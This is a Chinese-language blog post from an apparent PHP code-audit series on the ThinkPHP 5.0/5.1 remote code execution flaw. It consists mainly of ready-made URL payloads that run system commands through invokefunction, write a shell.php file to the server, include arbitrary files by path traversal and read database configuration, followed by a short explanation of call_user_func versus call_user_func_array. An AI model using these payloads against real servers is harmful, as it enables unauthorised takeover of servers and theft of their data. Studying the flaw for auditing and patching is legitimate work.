Skip to main content

PHP10-thinkphp-RCE

·112 words·1 min
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

PHP代码审计10-thinkphp-RCE
#

 **5.0.7<=ThinkPHP5<=5.0.22** 、**5.1.0<=ThinkPHP<=5.1.30**

案例一:RCE5.0-5.1 工具秒杀
#

5.0.7<=ThinkPHP5<=5.0.225.1.0<=ThinkPHP<=5.1.30

直接利用工具探测

1

具体payload

5.1

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> 写入文件
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0

?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

call_user_func 和 call_user_func_array 一个逐个传入参数 , 一个数组传入参数

  • call_user_func_array → 要求 vars[1] 必须是数组(所以加 [] 变成二维);
  • call_user_func → 要求 vars[1] 是普通值(所以不加 [],保持一维)。
function add($a, $b) { return $a + $b; }  
echo call_user_func('add', 1, 2); // 输出 3  


要求传入必须是数组
$vars = [
    0 => 'system',          // 第一个参数:要调用的函数名(system)
    1 => ['calc']           // 第二个参数:传给 system 的参数(必须是数组!)
];
function show($name, $age) { echo "Name: $name, Age: $age"; }  
$params = ['Tom', 20]; // 动态生成的参数数组  
call_user_func_array('show', $params); // 输出 Name: Tom, Age: 20  
?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=system&vars[1]=calc
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc
不加array也可以

Related

PHP代码审计9-框架-YII
·263 words·2 mins
PHP代码审计8-XXE-XSS
·272 words·2 mins
PHP代码审计7-变量覆盖
·190 words·1 min
MVC-PHP代码审计6-框架-文件包含
·151 words·1 min
MVC-PHP代码审计5-框架-反序列化构建链
·249 words·2 mins